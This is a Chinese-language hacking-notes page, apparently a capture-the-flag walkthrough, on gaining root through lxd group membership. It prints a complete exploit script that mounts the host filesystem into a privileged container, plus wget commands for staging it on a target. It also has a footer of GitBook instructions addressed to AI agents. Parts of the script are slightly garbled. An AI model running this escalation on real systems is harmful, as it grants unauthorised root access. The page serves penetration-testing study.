> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# lxd 组滥用 - Linux 权限提升

## 这是什么

危险的本地组成员关系即使不需要内核漏洞利用，也可能暴露特权资源。docker、lxd、adm 或 proxy 等组可能赋予主机控制权、敏感日志访问权限，或提供对横向移动和提权有用的配置路径。本页具体聚焦于 **用户组（lxd）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
id
groups
```

## 示例

### LXD 利用：

**识别 `ash` 用户在……中的成员身份 `lxd` 组**:

通过检查用户 `ash` 所属的组，我们注意到他属于 `lxd` 组，这使得可以滥用 LXC 获取 root 权限。

<figure><img src="/files/b332e21e203466e5cb55ce2e0f23c1710a4c3c5f" alt=""><figcaption></figcaption></figure>

**下载并准备操作**:

使用 `searchsploit` 以获取 LXC 漏洞（CVE-2020-16941）的利用脚本

<figure><img src="/files/07cbee50f63c2638f6f4a24420019b1f84f1121b" alt="" width="563"><figcaption></figcaption></figure>

该脚本利用 LXC 漏洞以提升权限执行命令。

**利用脚本内容（46978.sh）：**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/n用法："
  echo -e "/t[-f] 文件名（.tar.gz alpine 文件）"
  echo -e "/t[-h] 显示此帮助面板/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] 正在列出镜像.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  清理
}

function cleanup(){
  echo -en "/n[*] 正在移除容器..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* 该脚本会创建一个提权的 LXC 容器，并在目标机器上提供 root 访问。

**下载 Alpine 镜像文件和脚本：**

克隆包含操作所需文件的仓库，并通过本地 HTTP 服务器将它们传输到你的机器。

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

启动本地 HTTP 服务器以提供该文件和脚本

```bash
python3 -m http.server 80
```

在你的目标机器上，下载脚本和镜像文件：

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/072beb846dde4d40a0c828e1cf580cc02259122c" alt=""><figcaption></figcaption></figure>

\*\* PATH 更新\*\*：

调整 `PATH` 以确保 LXC 命令被正确解析。

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**操作脚本执行**

使用下载的 Alpine 镜像文件运行该脚本，以利用漏洞并获得 root shell：

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/9daba512992fe7a1e9c382aacaea957763d4521b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4b69faa14e848b6b3648240c7462d2eb8a6302e2" alt=""><figcaption></figcaption></figure>

要退出容器，只需进入 `/mnt/root` 目录。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
